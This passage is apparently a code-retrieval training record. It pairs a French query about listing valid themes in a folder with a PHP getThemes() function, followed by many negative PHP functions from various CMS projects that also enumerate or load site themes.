"0.5211023", "0.5205635", "0.5203218", "0.52007437", "0.52003074", "0.51984465" ]
0.0
-1
Recupere la liste des themes valides dans le dossier
function getThemes(){ $result = array(); $handle = @opendir(ROOT_PATH . 'themes'); while (false !== ($f = readdir($handle))){ if ($f != "." && $f != ".." && $f != "CVS" && $f != "index.html" && !preg_match("`[.]`", $f)){ if( is_file(ROOT_PATH . 'themes' . DS . $f . DS . 'layout.tpl') ){ $result[] = $f; } } } closedir($handle); return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get_all_themes() {\r\n\t$themesPath = config(\"themes_dir\");\r\n\t$handle = opendir($themesPath);\r\n\t$themes = array();\r\n\twhile($folder = readdir($handle)) {\r\n\t\tif(substr($folder, 0, 1) != '.' and !preg_match(\"#\\.#\", $folder)) {\r\n\t\t\t$themes[$folder] = array();\r\n\t\t\t$theThemePath = $themesPath.$folder.'/';\r\n\t\t\t$themes[$folder]['info'] = include $theThemePath.'info.php';\r\n\t\t\t$themes[$folder]['preview'] = url(config('themes_folder').'/'.$folder.'/preview.png');\r\n\t\t}\r\n\t}\r\n\r\n\treturn $themes;\r\n}", "public function getAllThemes();", "function get_themes()\n\t{\n\t\t$handle = opendir($this->e107->e107_dirs['THEMES_DIRECTORY']);\n\t\t$themelist = array();\n\t\twhile ($file = readdir($handle))\n\t\t{\n\t\t\tif (is_dir($this->e107->e107_dirs['THEMES_DIRECTORY'].$file) && $file !='_blank')\n\t\t\t{\n\t\t\t\tif(is_readable(\"./{$this->e107->e107_dirs['THEMES_DIRECTORY']}{$file}/theme.xml\"))\n\t\t\t\t{\n\t\t\t\t\t$themelist[] = $file;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir($handle);\n\t\treturn $themelist;\n\t}", "public function getThemes(){\r\n return array('theme1'=>\"Theme 1\", \r\n\t\t\t'theme2'=>\"Theme 2\", \r\n\t\t\t'theme3'=>\"Theme 3\" \r\n\t\t\t);\r\n }", "function getThemes() {\n\n\t$themesPath = '../../content/themes';\n\n\t$list = scandir($themesPath);\n\t$baseUrl = \\Raindrop\\Core\\Config\\Config::item('baseUrl');\n\t$themes = [];\n\n\tif(!empty($list)) {\n\t\tunset($list[0]);\n\t\tunset($list[1]);\n\n\t\tforeach($list as $dir) {\n\t\t\t$pathThemeDir = $themesPath . '/' . $dir;\n\t\t\t$pathConfig = $pathThemeDir . '/theme.json';\n\t\t\t$pathScreen = $baseUrl . '/content/themes/' . $dir . '/screen.jpg';\n\n\t\t\tif(is_dir($pathThemeDir) and is_file($pathConfig)) {\n\t\t\t\t$config = file_get_contents($pathConfig);\n\t\t\t\t$info = json_decode($config);\n\n\t\t\t\t$info->screen = $pathScreen;\n\t\t\t\t$info->dirTheme = $dir;\n\n\t\t\t\t$themes[] = $info;\n\t\t\t}\n\t\t}\n\n\t}\n\treturn $themes;\n}", "private function themes()\n {\n $all_plugins = json_decode(file_get_contents($this->pluginsJson))->themes;\n return $all_plugins;\n }", "public function themes()\n {\n return R::findAll('theme', 'order by name');\n }", "function get_themes()\n {\n }", "public function get_themes()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $folder = new Folder(self::PATH_THEMES);\n\n $theme_list = array();\n $folder_list = $folder->get_listing();\n\n foreach ($folder_list as $theme) {\n $file = new File(self::PATH_THEMES . '/' . $theme . '/info/info');\n\n if (!$file->exists())\n continue;\n\n // FIXME info/info -> deploy/info.php\n include self::PATH_THEMES . '/' . $theme . '/info/info';\n $theme_list[$theme] = $package;\n }\n\n // TODO: Sort by name, but key by theme directory\n return $theme_list;\n }", "public function themes(){\r\n\t\t\r\n\t\treturn $this->module_themes();\r\n\t}", "public static function themes()\n {\n return Theme::all()->where('sttema', '=', 'apr')->toArray();\n }", "public function getThemes() {\r\n\t$themes = array();\r\n $themelist = array_merge((array)glob('modules/' . $this->name . '/themes/*', GLOB_ONLYDIR), glob(PROFILE_PATH . $this->name . '/themes/*', GLOB_ONLYDIR));\r\n\tforeach ($themelist as $filename) {\r\n\t $themeName = basename($filename);\r\n\t $themes[$themeName] = $themeName;\r\n\t}\r\n\treturn $themes;\r\n }", "public function get_themes_list()\n {\n $baseUrl = 'http://prismjs.com/index.html?theme=';\n\n return [\n 1 => ['name' => 'Default', 'url' => $baseUrl . 'prism', 'file' => 'prism'],\n 2 => ['name' => 'Coy', 'url' => $baseUrl . 'prism-coy', 'file' => 'prism-coy'],\n 3 => ['name' => 'Dark', 'url' => $baseUrl . 'prism-dark', 'file' => 'prism-dark'],\n 4 => ['name' => 'Okaidia', 'url' => $baseUrl . 'prism-okaidia', 'file' => 'prism-okaidia'],\n 5 => ['name' => 'Tomorrow', 'url' => $baseUrl . 'prism-tomorrow', 'file' => 'prism-tomorrow'],\n 6 => ['name' => 'Twilight', 'url' => $baseUrl . 'prism-twilight', 'file' => 'prism-twilight'],\n ];\n }", "function get_allowed_themes()\n {\n }", "public function all()\r\n {\r\n return $this->themes;\r\n }", "function scs_get_themes()\n\t {\n\t \tglobal $scs_themes;\n\t\t$scs_themes = array();\n\t\t\n\t \t$dir = dirname(__FILE__).'/'.SCS_THEMES_DIR.'/';\n\t\tif ($handle = opendir($dir)) {\n\t\t\twhile (false !== ($file = readdir($handle))) {\n\t\t\t\tif ($file != \".\" && $file != \"..\" && !is_file($file) && file_exists($dir.$file.'/index.php') ) {\n\t\t\t\t\t$scs_themes[] = ucfirst($file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($handle);\n\t\t}\n\t\t\n\t\treturn true;\n\t\t\n\t }", "private function getThemes() {\n $path = sprintf('%s/../../%s/%s/', __DIR__, PUBLIC_PATH, THEME_PATH);\n\n $themes = scandir($path);\n\n $output = [];\n foreach($themes as $theme) {\n // Check if the theme has an info.php file a && file_exists($path.$theme.'/icon.png)nd a thumbnail\n if(file_exists($path.$theme.'/info.php') && file_exists($path.$theme.'/icon.png')) {\n // Store the theme information\n require($path.$theme.'/info.php');\n $output[$theme]['name'] = $name;\n $output[$theme]['author'] = $author;\n $output[$theme]['url'] = $url;\n $output[$theme]['version'] = $version;\n $output[$theme]['path'] = $theme;\n }\n }\n\n return $output;\n }", "public static function all(): array\n {\n $it = new DirectoryIterator(plugins_path('/summer/login/skins'));\n $it->rewind();\n $result = [];\n foreach ($it as $fileinfo) {\n if (!$fileinfo->isDir() || $fileinfo->isDot()) {\n continue;\n }\n $theme = static::load($fileinfo->getFilename());\n $result[] = $theme;\n }\n return $result;\n }", "function find_all_themes($full_details = false)\n{\n if ($GLOBALS['IN_MINIKERNEL_VERSION']) {\n return $full_details ? array('default' => array()) : array('default' => do_lang('DEFAULT'));\n }\n\n require_code('files');\n\n $themes = array();\n $_dir = @opendir(get_file_base() . '/themes/');\n if ($_dir !== false) {\n while (false !== ($file = readdir($_dir))) {\n $ini_file = get_file_base() . '/themes/' . $file . '/theme.ini';\n if ((strpos($file, '.') === false) && (is_dir(get_file_base() . '/themes/' . $file)) && (file_exists($ini_file))) {\n $details = better_parse_ini_file($ini_file);\n if (!array_key_exists('title', $details)) {\n $details['title'] = '?';\n }\n if (!array_key_exists('description', $details)) {\n $details['description'] = '?';\n }\n if (!array_key_exists('author', $details)) {\n $details['author'] = '?';\n }\n $themes[$file] = $full_details ? $details : $details['title'];\n }\n }\n closedir($_dir);\n }\n if (get_custom_file_base() != get_file_base()) {\n $_dir = @opendir(get_custom_file_base() . '/themes/');\n if ($_dir !== false) {\n while (false !== ($file = readdir($_dir))) {\n $ini_file = get_custom_file_base() . '/themes/' . $file . '/theme.ini';\n if ((strpos($file, '.') === false) && (is_dir(get_custom_file_base() . '/themes/' . $file)) && (file_exists($ini_file))) {\n $details = better_parse_ini_file($ini_file);\n if (!array_key_exists('title', $details)) {\n $details['title'] = '?';\n }\n if (!array_key_exists('description', $details)) {\n $details['description'] = '?';\n }\n if (!array_key_exists('author', $details)) {\n $details['author'] = '?';\n }\n $themes[$file] = $full_details ? $details : $details['title'];\n }\n }\n closedir($_dir);\n }\n }\n if (!array_key_exists('default', $themes)) {\n $details = better_parse_ini_file(get_file_base() . '/themes/default/theme.ini');\n if (!array_key_exists('title', $details)) {\n $details['title'] = '?';\n }\n if (!array_key_exists('description', $details)) {\n $details['description'] = '?';\n }\n if (!array_key_exists('author', $details)) {\n $details['author'] = '?';\n }\n $themes['default'] = $full_details ? $details : $details['title'];\n }\n\n // Sort\n if ($full_details) {\n sort_maps_by($themes, 'title');\n } else {\n natsort($themes);\n }\n\n // Default theme should go first\n if (isset($themes['default'])) {\n $temp = $themes['default'];\n $temp_2 = $themes;\n $themes = array('default' => $temp) + $temp_2;\n }\n\n // Admin theme should go last\n if (isset($themes['admin'])) {\n $temp = $themes['admin'];\n unset($themes['admin']);\n $themes['admin'] = $temp;\n }\n\n return $themes;\n}", "function thrive_dashboard_get_all_themes()\n{\n $themes = thrive_dashboard_get_thrive_products('theme');\n $current_theme = wp_get_theme();\n\n foreach ($themes as $key => $theme) {\n\n if ($current_theme->name == $theme->name) {\n unset($themes[$key]);\n continue;\n }\n\n $local_theme = wp_get_theme($theme->tag);\n if ($local_theme->exists()) {\n $theme->installed = true;\n } else {\n $theme->installed = false;\n }\n }\n\n return $themes;\n}", "public function getList()\r\n {\r\n $themes = [];\r\n\r\n $q = $this->_db->query('SELECT id, title, description, thumbnail FROM theme');\r\n\r\n while ($donnees = $q->fetch(PDO::FETCH_ASSOC))\r\n {\r\n $themes[] = new themeClass($donnees);\r\n }\r\n\r\n return $themes;\r\n }", "public static function getAllThemes()\n {\n $themes = [];\n\n foreach (scandir(self::$themeRoot) as $dir) {\n if (self::isTheme($dir)){\n $themeConfig = self::$themeRoot . $dir . '/theme.json';\n $json = file_get_contents($themeConfig);\n $decoded = json_decode($json, true);\n\n $themes[] = $decoded['name'];\n }\n\n }\n\n return $themes;\n }", "public function get_themes()\n\t{\n\t\t// load the helper file\n\t\t$this->load->helper('file');\n\n\t\t// get the list of 'folders' which\n\t\t// just means we're getting a potential\n\t\t// list of new themes that's been installed\n\t\t// since we last looked at themes\n\t\t$folders = get_dir_file_info(APPPATH . 'themes/');\n\n\t\t// foreach of those folders, we're loading the class\n\t\t// from the theme_details.php file, then we pass it\n\t\t// off to the save_theme() function to deal with \n\t\t// duplicates and insert newly added themes.\n\t\tforeach ($folders as &$folder)\n\t\t{\n\t\t\t// spawn that theme class...\n\t\t\t$details = $this->spawn_class($folder['relative_path'], $folder['name']);\n\n\t\t\t// if spawn_class was a success\n\t\t\t// we'll see if it needs saving\n\t\t\tif ($details)\n\t\t\t{\n\t\t\t\t// because this pwnd me for 30 minutes\n\t\t\t\t$details->path = $folder['name'];\n\t\t\t\n\t\t\t\t// save it...\n\t\t\t\t$this->save_theme($details);\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}\n\t\t// now that we've updated everything, let's\n\t\t// give the end user something to look at.\n\t\treturn $this->db->get($this->_table['templates'])->result();\n\t}", "function get_site_allowed_themes()\n {\n }", "protected function parseThemes()\n {\n foreach ($this->themesDirs as $dir) {\n $absDir = $this->fileLocator->locate($dir);\n $finder = Finder::create()->files()->in($absDir)->name('*.css');\n foreach ($finder as $file) {\n $this->addTheme($file->getBasename('.css'), $file->getPathname());\n }\n }\n #save to cache if env prod\n if ($this->env == 'prod') {\n $this->cacheDriver->save(static::CACHE_THEMES_NAME, $this->getThemes());\n }\n }", "public function get_available_themes() {\n\t\treturn apply_filters( 'crocoblock-wizard/install-theme/available-themes', array(\n\t\t\t'kava' => array(\n\t\t\t\t'source' => 'crocoblock',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/kava.png',\n\t\t\t),\n\t\t\t'blocksy' => array(\n\t\t\t\t'source' => 'wordpress',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/blocksy.png',\n\t\t\t),\n\t\t\t'oceanwp' => array(\n\t\t\t\t'source' => 'wordpress',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/ocean.png',\n\t\t\t),\n\t\t\t'astra' => array(\n\t\t\t\t'source' => 'wordpress',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/astra.png',\n\t\t\t),\n\t\t\t'generatepress' => array(\n\t\t\t\t'source' => 'wordpress',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/generatepress.png',\n\t\t\t),\n\t\t\t'hello-elementor' => array(\n\t\t\t\t'source' => 'wordpress',\n\t\t\t\t'logo' => CB_WIZARD_URL . 'assets/img/hello.png',\n\t\t\t),\n\t\t) );\n\t}", "public static function getThemes() {\r\n\t\t$themes = array();\r\n\r\n\t\t// Special files to ignore\r\n\t\t$ignore = array('admin.css');\r\n\r\n\t\t// Get themes corresponding to .css files.\r\n\t\t$dir = dirname(__FILE__) . '/css';\r\n\t\tif ($handle = opendir($dir)) {\r\n\t\t while (false !== ($entry = readdir($handle))) {\r\n\t\t\t if (in_array($entry, $ignore)) {\r\n\t\t\t\t continue;\r\n\t\t\t }\r\n\r\n\t\t\t $file = $dir . '/' . $entry;\r\n\t\t\t if (!is_file($file)) {\r\n\t\t\t\t continue;\r\n\t\t\t }\r\n\r\n\t\t\t // Beautify name\r\n\t\t\t $name = substr($entry, 0, -4); // Remove \".css\"\r\n\t\t\t $name = str_replace('--', ', ', $name);\r\n\t\t\t $name = str_replace('-', ' ', $name);\r\n\t\t\t\t$name = ucwords($name);\r\n\r\n\t\t\t // Add theme\r\n\t $themes[$entry] = $name;\r\n\t\t }\r\n\t\t closedir($handle);\r\n\t\t}\r\n\r\n\t\t$themes['none'] = 'None';\r\n\r\n\t\t// Sort alphabetically\r\n\t\tasort($themes);\r\n\r\n\t\treturn $themes;\r\n\t}", "public static function getThemes()\n {\n $themes = array();\n $themesdir = opendir('modules/Scribite/plugins/TinyMCE/vendor/tiny_mce/themes');\n while (false !== ($f = readdir($themesdir))) {\n if ($f != '.' && $f != '..' && $f != 'CVS' && !preg_match('/[.]/', $f)) {\n $themes[] = array(\n 'text' => $f,\n 'value' => $f\n );\n }\n }\n\n closedir($themesdir);\n // sort array\n asort($themes);\n\n return $themes;\n }", "private function getAllThemeFiles(){\n\t\t$themeFolder = zweb.\"themes/\";\n\t\t$files = scandir($themeFolder.$this->theme);\n\n\t\tif(gettype($files) != \"array\") $files = array();\n\t\tforeach($files as $file){\n\t\t\tif(!is_dir($themeFolder.$file)){\n\t\t\t\t$info = pathinfo($themeFolder.$file);\n\t\t\t\t$this->$info['filename'] = $this->getThemeFile($info['filename'], @$info['extension']);\n\t\t\t}\n\t\t}\n\t}", "private function activeThemes()\n {\n $all_plugins = json_decode(file_get_contents($this->pluginsJson))->active_theme;\n debug($all_plugins);\n die;\n }", "private function getDirectories()\n {\n $this->load();\n\n $this->data['themeDirectory'] = 'catalog/view/theme/default/';\n $customizedFile = $this->data['themeDirectory'] . 'stylesheet/mundipagg/mundipagg_customized.css';\n\n if (file_exists($customizedFile)) {\n $this->data['customizedFile'] = $customizedFile;\n }\n }", "public static function get_themes() {\n\t\t$themes = get_transient( self::THEMES_TRANSIENT );\n\t\tif ( false === $themes ) {\n\t\t\t$theme_data = wp_remote_get( 'https://woocommerce.com/wp-json/wccom-extensions/1.0/search?category=themes' );\n\t\t\t$themes = array();\n\n\t\t\tif ( ! is_wp_error( $theme_data ) ) {\n\t\t\t\t$theme_data = json_decode( $theme_data['body'] );\n\t\t\t\t$woo_themes = property_exists( $theme_data, 'products' ) ? $theme_data->products : array();\n\t\t\t\t$sorted_themes = self::sort_woocommerce_themes( $woo_themes );\n\n\t\t\t\tforeach ( $sorted_themes as $theme ) {\n\t\t\t\t\t$slug = sanitize_title_with_dashes( $theme->slug );\n\t\t\t\t\t$themes[ $slug ] = (array) $theme;\n\t\t\t\t\t$themes[ $slug ]['is_installed'] = false;\n\t\t\t\t\t$themes[ $slug ]['has_woocommerce_support'] = true;\n\t\t\t\t\t$themes[ $slug ]['slug'] = $slug;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$installed_themes = wp_get_themes();\n\t\t\t$active_theme = get_option( 'stylesheet' );\n\n\t\t\tforeach ( $installed_themes as $slug => $theme ) {\n\t\t\t\t$theme_data = self::get_theme_data( $theme );\n\t\t\t\t$installed_themes = wp_get_themes();\n\t\t\t\t$themes[ $slug ] = $theme_data;\n\t\t\t}\n\n\t\t\t// Add the WooCommerce support tag for default themes that don't explicitly declare support.\n\t\t\tif ( function_exists( 'wc_is_wp_default_theme_active' ) && wc_is_wp_default_theme_active() ) {\n\t\t\t\t$themes[ $active_theme ]['has_woocommerce_support'] = true;\n\t\t\t}\n\n\t\t\t$themes = array( $active_theme => $themes[ $active_theme ] ) + $themes;\n\n\t\t\tset_transient( self::THEMES_TRANSIENT, $themes, DAY_IN_SECONDS );\n\t\t}\n\n\t\t$themes = apply_filters( 'woocommerce_admin_onboarding_themes', $themes );\n\t\treturn array_values( $themes );\n\t}", "function website_themes() {\n\n\t$websites = get_website_data();\n\n\t$themes = array();\n\n\tforeach ( $websites as $site ) {\n\t\t$themes[] = $site[ 'theme' ];\n\t}\n\n\treturn array_unique( $themes );\n\n}", "public static function getAllAdminThemes()\n {\n /**\n * Create an array of themes, with the directory paths\n * theme.ini files and images paths if they are present\n */\n $themes = array();\n $iterator = new VersionedDirectoryIterator(ADMIN_THEME_DIR);\n $themeDirs = $iterator->getValid();\n foreach ($themeDirs as $themeName) {\n $theme = self::getTheme($themeName);\n $theme->path = ADMIN_THEME_DIR . '/' . $themeName;\n $theme->setImage(self::THEME_IMAGE_FILE_NAME);\n $theme->setIni(self::THEME_INI_FILE_NAME);\n $theme->setConfig(self::THEME_CONFIG_FILE_NAME);\n $themes[$themeName] = $theme;\n }\n ksort($themes);\n return $themes;\n }", "function okcdesign_theme() {\n $themes = array();\n theme_plugins_invoke(__FUNCTION__, $themes);\n return $themes;\n}", "public function retrieveThemes()\n {\n return $this->start()->uri(\"/api/theme\")\n ->get()\n ->go();\n }", "private function getStylesheets() {\n $themes = [];\n $stylesheet_options = [];\n $theme_handler = Drupal::service('theme_handler');\n\n foreach ($theme_handler->listInfo() as $name => $theme) {\n $themes = $theme_handler->listInfo();\n $names = $themes[$name]->info['name'];\n $path = DRUPAL_ROOT . '/' . $theme\n ->getPath();\n $stylesheete = $path . '/css/' . $name . '.' . 'ckeditor.css';\n $default_stylesheet = drupal_get_path('module', 'ckeditor_stylesheetparser') . '/js/plugins/stylesheetparser/samples/assets/sample.css';\n\n if (file_exists($stylesheete)) {\n $stylesheet_options = [$stylesheete => $names];\n } elseif (!file_exists($stylesheete)) {\n $stylesheet_options = [$default_stylesheet => $names];\n }\n return $stylesheet_options ;\n }\n }", "public function scanThemes()\r\n {\r\n\r\n $parentThemes = [];\r\n $themesConfig = config('themes.themes', []);\r\n\r\n foreach ($this->loadThemesJson() as $data) {\r\n // Are theme settings overriden in config/themes.php?\r\n if (array_key_exists($data['name'], $themesConfig)) {\r\n $data = array_merge($data, $themesConfig[$data['name']]);\r\n }\r\n\r\n // Create theme\r\n $theme = new Theme(\r\n $data['name'],\r\n $data['asset-path'],\r\n $data['views-path']\r\n );\r\n\r\n // Has a parent theme? Store parent name to resolve later.\r\n if ($data['extends']) {\r\n $parentThemes[$theme->name] = $data['extends'];\r\n }\r\n\r\n // Load the rest of the values as theme Settings\r\n $theme->loadSettings($data);\r\n }\r\n\r\n // Add themes from config/themes.php\r\n foreach ($themesConfig as $themeName => $themeConfig) {\r\n\r\n // Is it an element with no values?\r\n if (is_string($themeConfig)) {\r\n $themeName = $themeConfig;\r\n $themeConfig = [];\r\n }\r\n\r\n // Create new or Update existing?\r\n if (!$this->exists($themeName)) {\r\n $theme = new Theme($themeName);\r\n } else {\r\n $theme = $this->find($themeName);\r\n }\r\n\r\n // Load Values from config/themes.php\r\n if (isset($themeConfig['asset-path'])) {\r\n $theme->assetPath = $themeConfig['asset-path'];\r\n }\r\n\r\n if (isset($themeConfig['views-path'])) {\r\n $theme->viewsPath = $themeConfig['views-path'];\r\n }\r\n\r\n if (isset($themeConfig['extends'])) {\r\n $parentThemes[$themeName] = $themeConfig['extends'];\r\n }\r\n\r\n $theme->loadSettings(array_merge($theme->settings, $themeConfig));\r\n }\r\n\r\n // All themes are loaded. Now we can assign the parents to the child-themes\r\n foreach ($parentThemes as $childName => $parentName) {\r\n $child = $this->find($childName);\r\n\r\n if ($this->exists($parentName)) {\r\n $parent = $this->find($parentName);\r\n } else {\r\n $parent = new Theme($parentName);\r\n }\r\n\r\n $child->setParent($parent);\r\n }\r\n }", "public function getRows(): array\n {\n /*\n $dir = base_path('Themes');\n $themes_dirs = File::directories($dir);\n $themes = collect($themes_dirs)->map(\n function ($item) {\n $file_json = $item.DIRECTORY_SEPARATOR.'theme.json';\n\n $json = json_decode(File::get($file_json), true);\n\n $info = pathinfo($item);\n\n return collect($json)->map(\n function ($item) {\n if (! is_string($item)) {\n return json_encode($item);\n }\n\n return $item;\n }\n )\n ->all()\n ;\n }\n )\n ->all()\n ;\n\n\n return $themes;\n */\n return ThemeService::getThemes()->all();\n }", "public function getThemes()\n {\n return $this->themes;\n }", "public function index() {\n\n $user = Auth::user();\n\n try {\n $directories = File::directories(Theme::THEMES_DIR);\n } catch (InvalidArgumentException $e) {\n } \n \n foreach ($directories as $directory) {\n\n /* if system is windows */\n $directory = str_replace('\\\\', '/', $directory);\n\n /* if theme is invalid, there is no creation nor update of theme, but it will be removed from DB */\n if ($this->theme_validation($directory) == true) {\n\n /* if theme does not exist in DB yet, create it */ \n try {\n\n $theme = Theme::where('root_dir', $directory)->firstOrFail(); \n\n } catch (ModelNotFoundException $e) {\n\n $contents = (require($directory . '/' . Theme::CONFIG_FILE));\n\n $theme = Theme::create([\n 'root_dir' => $directory,\n 'status' => Theme::STATUS_INACTIVE,\n 'user_id' => $user->id,\n 'config' => json_encode($contents)\n ]);\n\n }\n \n try {\n\n /* add config contents after previous deactivation of theme (which empties config field) */\n $theme = Theme::where('root_dir', $directory)->firstOrFail(); \n $contents = (require($directory . '/' . Theme::CONFIG_FILE));\n $theme->config = json_encode($contents);\n\n $theme_ideaspacevr_version = substr($contents['#ideaspace-version'], 2); \n if (version_compare($theme_ideaspacevr_version, config('app.version'), '>') === true) {\n $theme->status = Theme::STATUS_INCOMPATIBLE;\n } else if ($theme->status == Theme::STATUS_INCOMPATIBLE) {\n $theme->status = Theme::STATUS_INACTIVE;\n } \n\n /* theme passed validation but has error status */\n if ($theme->status == Theme::STATUS_ERROR) {\n $theme->status = Theme::STATUS_INACTIVE;\n }\n $theme->save(); \n\n } catch (ModelNotFoundException $e) {\n }\n\n } else {\n\n try {\n $theme = Theme::where('root_dir', $directory)->firstOrFail();\n $theme->status = Theme::STATUS_ERROR;\n $theme->save();\n } catch (ModelNotFoundException $e) {\n }\n\n } /* if */\n\n } /* foreach */\n\n\n $themes = Theme::orderBy('updated_at', 'desc')->get();\n $themes_mod = array();\n\n foreach ($themes as $theme) { \n $config = json_decode($theme->config, true);\n\n if ($theme->status==Theme::STATUS_ACTIVE) {\n $status_text = trans('template_themes_config.uninstall');\n } else if ($theme->status==Theme::STATUS_INACTIVE) {\n $status_text = trans('template_themes_config.install_theme');\n } else if ($theme->status==Theme::STATUS_INCOMPATIBLE) {\n $status_text = trans('template_themes_config.incompatible_theme');\n } else {\n $status_text = trans('template_themes_config.invalid_theme');\n }\n\n $theme_mod = array();\n $theme_mod['id'] = $theme->id; \n $theme_mod['theme-name'] = $config['#theme-name']; \n $theme_mod['theme-description'] = $config['#theme-description']; \n $theme_mod['theme-version'] = $config['#theme-version']; \n $theme_mod['theme-author-name'] = $config['#theme-author-name']; \n $theme_mod['theme-author-email'] = $config['#theme-author-email']; \n $theme_mod['theme-homepage'] = $config['#theme-homepage']; \n $theme_mod['theme-keywords'] = $config['#theme-keywords']; \n //$theme_mod['theme-compatibility'] = explode(',', $config['#theme-compatibility']); \n $theme_mod['theme-view'] = $config['#theme-view']; \n\n $theme_mod['status'] = $theme->status; \n $theme_mod['status_class'] = (($theme->status==Theme::STATUS_ACTIVE)?Theme::STATUS_ACTIVE:''); \n $theme_mod['status_aria_pressed'] = (($theme->status==Theme::STATUS_ACTIVE)?'true':'false'); \n $theme_mod['status_text'] = $status_text; \n $theme_mod['screenshot'] = url($theme->root_dir . '/' . Theme::SCREENSHOT_FILE); \n\n\t\t\t\t\t\t/* if lang directory exists we assume there are language files; support legacy themes without lang files */\n\t\t\t\t\t\tif (File::exists($theme->root_dir . '/lang')) {\n\t\t\t\t\t\t\t\t$theme_mod['theme-key'] = $config['#theme-key']; \n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$theme_mod['theme-key'] = null; \n\t\t\t\t\t\t}\n\n $themes_mod[] = $theme_mod;\n }\n\n $vars = [ \n 'themes' => $themes_mod,\n 'js' => array(asset('public/assets/admin/themes_configuration/js/themes_configuration.js'))\n ];\n\n return view('admin.themes_config', $vars);\n }", "function themes( $args ){\n \n // select toolbox\n if( $args['tool'] == null ){\n $tool = 'display';\n } else {\n $tool = $args['tool'];\n }\n \n // page title\n $this->view->add('page_title','Manage Garage Themes');\n \n // use our fancy tool box\n if( $func = $this->themes_toolbox($tool,$this) ) {\n \n // check fro success, default to no\n $success = false;\n \n // choose tool and execute\n $success = $func($this);\n }\n \n // get the list of themes\n $theme_dirs = glob('themes/*', GLOB_ONLYDIR);\n \n // create theme list\n $theme_list = array();\n \n $theme_list[] = array( 'name' => 'Default', 'path' => 'views' );\n \n // build list\n foreach( $theme_dirs as $theme ){\n $theme_list[] = array(\n 'name' => $theme,\n 'path' => $theme\n );\n }\n \n // add to list\n $this->view->add('theme_list',$theme_list);\n \n // get current theme from settings\n $current_theme = $this->app->settings('theme')->get('theme');\n \n // add to view\n $this->view->add('current_theme',$current_theme);\n \n // add self link\n $this->view->add('self_link',\n $this->app->form_path('admin/themes')\n );\n \n }", "function display_themes()\n {\n }", "public function getTheme();", "public function get_meta_themes() {\n\t\tSingleton::get_instance( 'Theme', $this )->get_remote_theme_meta();\n\t}", "function install_themes_feature_list()\n {\n }", "function wp_get_active_and_valid_themes()\n {\n }", "public static function scan()\n {\n if (!FS_ACCESS && Config::get('available_themes')) {\n return Config::get('available_themes');\n }\n $dir = \"themes/\";\n $scanned = scandir($dir);\n $_packages = [];\n foreach ($scanned as $folder) {\n if ($folder[0] != '.') {\n $json = $dir.$folder.'/package.json';\n if (file_exists($json)) {\n $data = json_decode(file_get_contents($json));\n if (!FS_ACCESS && isset($data->mainsite) && $data->mainsite===true) {\n continue;\n }\n @$data->title = @$data->title?? @$data->name;\n $data->package = $folder;\n $data->url = @$data->homepage?? (@$data->url?? '');\n $_packages[$folder] = $data;\n }\n }\n }\n return $_packages;\n }", "function getThemesSelect( $iThemeSelect ){\n global $config;\n\n $content = null;\n foreach( $config['themes'] as $iTheme => $aData ){\n $content .= '<option value=\"'.$iTheme.'\"'.( ( $iTheme == $iThemeSelect ) ? ' selected=\"selected\"' : null ).'>'.$aData[3].'</option>';\n } // end foreach\n return $content;\n}", "public function theme() {\n \treturn array(\n \t\t'node_list' => array(\n \t\t\t'template' => 'node-list',\n \t\t\t'path' => drupal_get_path('module', 'scf') . '/theme',\n \t\t\t'arguments' => array(\n \t\t\t\t'items' => array(),\n \t\t\t\t'title' => NULL,\n \t\t\t\t'nid' => NULL,\n \t\t\t\t'haslink' => NULL,\n \t\t\t\t'associations' => array(),\n \t 'name' => NULL,\n \t 'form' => NULL,\n \t\t\t)\t\n \t\t)\n \t);\n }", "public function getAvailableThemes()\n\t{\n\t\t$this->loadAvailableThemes();\n\t\treturn self::$_themes;\n\t}", "function get_theme_mods()\n {\n }", "public function getThemeList($package = null)\r\n {\r\n $result = array();\r\n\r\n if (is_null($package)){\r\n foreach ($this->getPackageList() as $package){\r\n $result[$package] = $this->getThemeList($package);\r\n }\r\n } else {\r\n $directory = Mage::getBaseDir('design') . DS . 'frontend' . DS . $package;\r\n $result = $this->_listDirectories($directory);\r\n }\r\n\r\n return $result;\r\n }", "public function indexAction()\n {\n $themes = XOOPS::service('registry')->themelist->read('active');\n foreach ($themes as $key => &$theme) {\n $theme[\"upgrade\"] = $this->checkUpgrade($key, $theme[\"version\"]);\n }\n $this->template->assign(\"themes_active\", $themes);\n $themes = XOOPS::service('registry')->themelist->read('inactive');\n foreach ($themes as $key => &$theme) {\n $theme[\"upgrade\"] = $this->checkUpgrade($key, $theme[\"version\"]);\n }\n $this->template->assign(\"themes_inactive\", $themes);\n $this->setTemplate(\"theme_list.html\");\n }", "function get_theme_data() {\n\t$theme_file = __CHV_PATH_THEME__.'style.css';\n\t$theme_data = implode('', file($theme_file));\n\t$theme_data = str_replace ('\\r', '\\n',$theme_data );\n\t\n\tif (preg_match('|Theme Name:(.*)$|mi', $theme_data, $theme_name))\n\t\t$name = clean_header_comment($theme_name[1]);\n\n\tif (preg_match('|Theme URL:(.*)$|mi', $theme_data, $theme_url))\n\t\t$url = clean_header_comment($theme_url[1]);\n\t\t\n\tif (preg_match('|Version:(.*)$|mi', $theme_data, $theme_version))\n\t\t$version = clean_header_comment($theme_version[1]);\n\t\n\tif (preg_match('|Author:(.*)$|mi', $theme_data, $theme_author))\n\t\t$author = clean_header_comment($theme_author[1]);\n\t\n\tif (preg_match('|@Chevereto:(.*)$|mi', $theme_data, $theme_chevereto))\n\t\t$chevereto = clean_header_comment($theme_chevereto[1]);\n\t\t\n\treturn array(\n\t\t'Name' => $name,\n\t\t'URL' => $url,\n\t\t'Version' => $version,\n\t\t'Author' => $author,\n\t\t'Chevereto' => $chevereto\n\t);\n}", "function _wprp_get_themes() {\n\n\trequire_once( ABSPATH . '/wp-admin/includes/theme.php' 